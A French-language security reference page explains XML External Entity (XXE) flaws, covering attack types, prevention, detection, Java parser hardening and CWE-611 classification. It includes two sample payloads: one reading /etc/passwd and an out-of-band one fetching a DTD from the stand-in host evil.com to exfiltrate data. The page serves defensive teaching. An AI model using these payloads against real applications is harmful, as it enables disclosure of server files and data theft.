Aller au contenu

Généralités

Description

Les failles d'XML External Entity (XXE) se produisent lorsqu'une application XML permet à un attaquant d'inclure des entités externes malveillantes ou des références à des ressources externes non sécurisées dans un document XML. Cela peut entraîner la divulgation de données sensibles, le déni de service, voire l'exécution de code à distance.


Types d'Attaques XXE

XXE Basique :

  • Se produit lorsque l'application XML traite les entités externes sans validation ou protection adéquates.
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
  • Cette attaque récupère le contenu du fichier /etc/passwd.

XXE Out-Of-Band (OOB) :

  • Se produit lorsque l'attaquant utilise l'entité externe pour initier une connexion sortante vers un serveur contrôlé par lui.
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
%xxe;
]>
<foo>&all;</foo>
  • Cette attaque peut être utilisée pour exfiltrer des données vers un serveur contrôlé par l'attaquant.

Prévention des Attaques XXE

Désactivation du Parsing des DTD :

  • Désactiver le parsing des DTD (Document Type Definitions) dans les bibliothèques XML.

Validation des Entrées XML :

  • Valider et restreindre les entrées XML pour s'assurer qu'elles ne contiennent pas d'entités externes malveillantes.

Utilisation de Méthodes Sécurisées :

  • Utiliser des méthodes sécurisées pour le traitement des documents XML, telles que DOM sécurisé ou SAX avec les entités externes désactivées.

Détection des Failles XXE

Analyse de la Configuration :

  • Examiner la configuration XML pour vérifier si le parsing des DTD est activé.

Tests Manuels :

  • Effectuer des tests manuels en injectant des payloads XXE et en observant les réponses de l'application.

Utilisation d'Outils de Sécurité :

  • Utiliser des outils de sécurité tels que Burp Suite, OWASP ZAP, ou des scanners spécifiques pour détecter les failles XXE.

Exemples de Prévention

Désactivation des DTD dans Java :

1
2
3
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Utilisation de SAXParser avec les Entités Externes Désactivées :

1
2
3
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();

Catégorie Information
TTP Exploitation des références d'entités externes dans XML
CWE CWE-611 (Improper Restriction of XML External Entity Reference)
Description de l'attaque Une attaque XXE se produit lorsqu'un attaquant exploite des applications qui analysent XML de manière à injecter des références à des entités externes malveillantes. Cela peut mener à la divulgation d'informations confidentielles, au déni de service, ou à l'exécution de code à distance.
Impacts potentiels - Divulgation d'informations sensibles
- Déni de service
- Exécution de code à distance
- Porte dérobée dans les systèmes
Comment la détecter - Analyse de code statique et dynamique
- Utilisation de scanners de vulnérabilité
- Tests de pénétration ciblant les fonctionnalités de traitement XML
Remédiations/mitigations - Désactivation du traitement des entités externes dans les parseurs XML
- Validation et nettoyage des entrées XML
- Utilisation de listes blanches pour les éléments XML traités
- Mise à jour régulière des bibliothèques et frameworks XML
Lien de référence OWASP - XML External Entity (XXE) Processing